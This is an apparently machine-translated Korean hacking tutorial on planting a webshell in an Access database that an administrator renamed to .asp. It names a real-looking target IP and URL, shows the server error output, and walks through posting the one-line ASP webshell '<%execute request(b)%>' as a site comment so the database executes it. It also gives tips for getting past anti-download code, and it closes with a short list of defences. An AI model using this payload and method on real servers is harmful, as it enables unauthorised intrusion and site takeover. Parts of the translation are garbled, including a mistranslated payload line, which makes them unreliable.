아마도 네트워크 보안 기술이 발전하면서 관리자의 자질이 향상되고 있는 것 같습니다. access+asp 시스템을 사용할 경우 데이터베이스 다운로드를 방지하기 위해 mdb를 asp나 asa로 변경합니다. 접미사를 직접 변경하는 것에 대해서는 이야기하지 않겠습니다. Internet Express와 같은 도구를 사용하여 직접 다운로드할 수 있습니다. 실제로는 이미 침입자의 문을 열었습니다. 침입자는 asp/asa 접미사가 포함된 데이터베이스를 사용하여 웹셸을 직접 얻을 수 있습니다.
하나. 아이디어
<%%>가 asp 파일의 식별자라는 것은 누구나 알고 있습니다. 이는 asp 파일이 <%%> 사이의 코드만 실행한다는 것을 의미합니다. access+asp 웹 시스템의 모든 데이터는 데이터베이스 파일(mdb 파일)에 저장됩니다. ), 관리자가 mdb 파일을 asp 파일로 변경했기 때문에 우리가 제출한 데이터에 <%%>가 포함되어 있으면 asp 데이터베이스에 액세스할 때 <%%> 사이의 코드가 실행됩니다. 이로 인해 우리는 데이터베이스에 악성 코드만 제출하게 되므로 asp 접미사가 붙은 데이터베이스가 우리의 웹쉘입니다.
둘. 예
먼저 대상을 찾으십시오. 먼저 데이터베이스에 asp 접미사가 있는지 확인하십시오. http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210
반품:
다음과 같이 코드 코드를 복사합니다.
Microsoft VBScript 컴파일러 오류 오류 '800a03f6'
'끝'이 빠졌네요
/iisHelp/common/500-100.asp, 242행
Microsoft JET 데이터베이스 엔진 오류 '80004005'
'D:/log_mdb/%29dlog_mdb%29.asp'는 유효한 경로가 아닙니다. 경로 이름의 철자가 올바른지, 파일이 저장된 서버에 연결되어 있는지 확인하십시오.
/test/conn.asp, 18행
우리는 다음을 제출합니다: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp는 여러 잘못된 문자를 반환하므로 Internet Express와 같은 도구를 사용하여 데이터베이스를 직접 다운로드할 수 있습니다. 이에 대해서는 논의하지 않습니다. 여기). 홈페이지에 돌아와보니 네티즌 댓글 기능이 있는 것을 발견했습니다. 사용자로 등록하고 댓글을 게시해 보겠습니다.
<%요청 실행(b)%>
이러한 방식으로 우리는 ASP 코드 <%execute request(b)%>를 데이터베이스에 작성하고 데이터베이스는 웹쉘입니다. 제출: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp 잘못된 코드 끝에는 다음이 표시됩니다.
다음과 같이 코드 코드를 복사합니다.
/iisHelp/common/500-100.asp, 242행
Microsoft VBScript 런타임 오류 오류 '800a000d'
유형 불일치: 'execute'
/test/dlog/log_mdb/%29dlog_mdb%29.asp, 1266행
참고: 데이터베이스에 코드를 제출할 때 코드 내용이 너무 커서는 안 됩니다. 그래서 <%execute request(b)%>를 사용합니다.
삼. 다른 질문과 아이디어
1. 접미사를 asp로 변경하고, 데이터베이스에 <%='a'-1%>와 같은 불법 asp 코드를 추가하여 다운로드를 완전히 방지한 데이터베이스의 경우, 불법 asp 코드가 포함되어 있으므로 당사의 웹쉘 코드를 삽입한 후 실행 중입니다. 쉘의 코드를 실행하지 않고 이전 불법 코드의 오류만 표시합니다. 이렇게 하면 특정 공격을 방지할 수 있지만 여전히 숨겨진 위험이 있습니다. 오류 코드 앞에 오류 호환 코드를 추가하는 한 삽입한 웹쉘 코드를 올바르게 표시하고 실행할 수 있습니다.
2. 접미사가 변경되지 않은 파일, 즉 mdb 파일의 경우 직접 다운로드하여 백그라운드 비밀번호를 얻을 수 있으며, 백그라운드에 진입한 후 데이터베이스 백업을 사용하여 접미사를 asp로 변경할 수 있습니다.
MDB 다운로드 방지 방법 요약
1: iis6에서는 확장자가 정의되어 있지 않으면 접속 시 '파일을 찾을 수 없습니다'라는 404 오류가 나타납니다.
따라서 데이터베이스 이름을 xxxxx.xxxxxxxxxxx와 같이 결코 안전한 효과를 얻을 수 없는 파일 이름으로 임의로 지정할 수 있습니다.
2 데이터베이스가 웹사이트 외부에 있는 경우 절대 접근할 수 없습니다. 예: e:/web/은 귀하의 웹사이트입니다.
그런 다음 데이터베이스를 e:/에 넣습니다.
3. 위에서 언급한 대로 .mdb를 .asp로 변경하고 동시에 <% 바이너리 문자가 포함된 특수 테이블에 입력합니다. 이렇게 하면 파일에 액세스할 때 스크립트 종료 문자가 누락되었다는 메시지가 나타납니다.
4. 또는 .mdb를 .asp로 변경하고 동시에 winhex로 열면 176 이후에 00 문자열의 긴 부분이 있음을 알 수 있습니다. 마음대로 asp 코드 조각으로 변경하여 다운로드를 방지할 수도 있습니다. , 이는 데이터베이스 기능에 영향을 미치지 않습니다. 예를 들어:
<%
response.write(불법접근)
응답.끝()
%>
이제 데이터베이스 이름에 # 및 공백을 추가하면 크랙이 발생합니다. 예를 들어 # = <%35 및 공백 = <%20입니다.
따라서 지금은 이러한 기능을 사용하는 것이 더 이상 유용하지 않습니다. .
자체 서버인 경우 IIS에서 설정합니다.
새로운 빈 DLL 파일을 생성한 다음 IIS에서 매핑을 추가합니다. 방금 생성한 DLL을 실행 파일로 선택하고 확장자로 .mdb를 입력한 다음 IIS 서비스를 저장하고 다시 시작합니다.